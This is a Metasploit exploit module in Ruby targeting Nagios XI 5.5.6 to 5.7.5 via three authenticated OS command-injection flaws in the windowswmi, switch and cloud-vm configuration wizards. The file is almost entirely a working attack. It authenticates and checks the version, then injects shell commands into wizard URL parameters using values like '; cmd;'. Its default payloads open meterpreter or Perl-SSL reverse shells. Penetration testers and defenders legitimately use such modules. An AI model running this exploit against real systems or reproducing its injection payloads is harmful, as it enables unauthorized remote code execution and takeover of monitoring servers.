## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::NagiosXi include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Exection', 'Description' => %q{ This module exploits CVE-2021-25296, CVE-2021-25297, and CVE-2021-25298, which are OS command injection vulnerabilities in the windowswmi, switch, and cloud-vm configuration wizards that allow an authenticated user to perform remote code execution on Nagios XI versions 5.5.6 to 5.7.5 as the apache user. Valid credentials for a Nagios XI user are required. This module has been successfully tested against official NagiosXI OVAs from 5.5.6-5.7.5. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matthew Mathur' ], 'References' => [ ['CVE', '2021-25296'], ['CVE', '2021-25297'], ['CVE', '2021-25298'], ['URL', 'https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md'] ], 'Targets' => [ [ 'Linux (x86)', { 'Arch' => [ ARCH_X86 ], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'Linux (x64)', { 'Arch' => [ ARCH_X64 ], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'CMD', { 'Arch' => [ ARCH_CMD ], 'Platform' => 'unix', # the only reliable payloads against a typical Nagios XI host (CentOS 7 minimal) seem to be cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' } } ] ], 'Privileged' => false, 'DefaultTarget' => 2, 'DisclosureDate' => '2021-02-13', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGET_CVE', [true, 'CVE to exploit (CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298)', 'CVE-2021-25296']) ] end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def finish_install datastore['FINISH_INSTALL'] end def check # Authenticate to ensure we can access the NagiosXI version auth_result, err_msg, @auth_cookies, @version, @nsp = authenticate(username, password, finish_install, true, true, true) case auth_result when AUTH_RESULTS[:connection_failed] return CheckCode::Unknown(err_msg) when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version] return CheckCode::Detected(err_msg) when AUTH_RESULTS[:not_nagios_application] return CheckCode::Safe(err_msg) end if @version >= Rex::Version.new('5.5.6') && @version <= Rex::Version.new('5.7.5') return CheckCode::Appears("Version #{@version} appears to be vulnerable") end return CheckCode::Safe("Version #{@version} is not vulnerable") end def execute_command(cmd, _opts = {}) if !@nsp || !@auth_cookies # Check to see if we already authenticated during the check auth_result, err_msg, @auth_cookies, @version, @nsp = authenticate(username, password, finish_install, true, true, true) case auth_result when AUTH_RESULTS[:connection_failed] return CheckCode::Unknown(err_msg) when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version] return CheckCode::Detected(err_msg) when AUTH_RESULTS[:not_nagios_application] return CheckCode::Safe(err_msg) end end # execute payload based on the selected targeted configuration wizard url_params = { 'update' => 1, 'nsp' => @nsp } # After version 5.5.7, the URL parameter used in CVE-2021-25297 and CVE-2021-25298 # changes from address to ip_address if @version <= Rex::Version.new('5.5.7') address_param = 'address' else address_param = 'ip_address' end # CVE-2021-25296 affects the windowswmi configuration wizard. if datastore['TARGET_CVE'] == 'CVE-2021-25296' url_params = url_params.merge({ 'nextstep' => 3, 'wizard' => 'windowswmi', 'ip_address' => Array.new(4) { rand(256) }.join('.'), 'domain' => Rex::Text.rand_text_alphanumeric(7..15), 'username' => Rex::Text.rand_text_alphanumeric(7..20), 'password' => Rex::Text.rand_text_alphanumeric(7..20), 'plugin_output_len' => Rex::Text.rand_text_numeric(5) + "; #{cmd};" }) # CVE-2021-25297 affects the switch configuration wizard. elsif datastore['TARGET_CVE'] == 'CVE-2021-25297' url_params = url_params.merge({ 'nextstep' => 3, 'wizard' => 'switch', address_param => Array.new(4) { rand(256) }.join('.') + "\"; #{cmd};", 'snmpopts[snmpcommunity]' => Rex::Text.rand_text_alphanumeric(7..15), 'scaninterfaces' => 'on' }) # CVE-2021-25298 affects the cloud-vm configuration wizard, which we can access by # specifying the digitalocean option for the wizard parameter. elsif datastore['TARGET_CVE'] == 'CVE-2021-25298' url_params = url_params.merge({ address_param => Array.new(4) { rand(256) }.join('.') + "; #{cmd};", 'nextstep' => 4, 'wizard' => 'digitalocean' }) else fail_with(Failure::BadConfig, 'Invalid TARGET_CVE: Choose CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298.') end print_status('Sending the payload...') # Send the final request. Note that the target is not expected to respond if we get # code execution. Therefore, we set the timeout on this request to 0. send_request_cgi({ 'method' => 'GET', 'uri' => '/nagiosxi/config/monitoringwizard.php', 'cookie' => @auth_cookies, 'vars_get' => url_params }) end def exploit if target.arch.first == ARCH_CMD execute_command(payload.encoded) else execute_cmdstager(background: true) end end end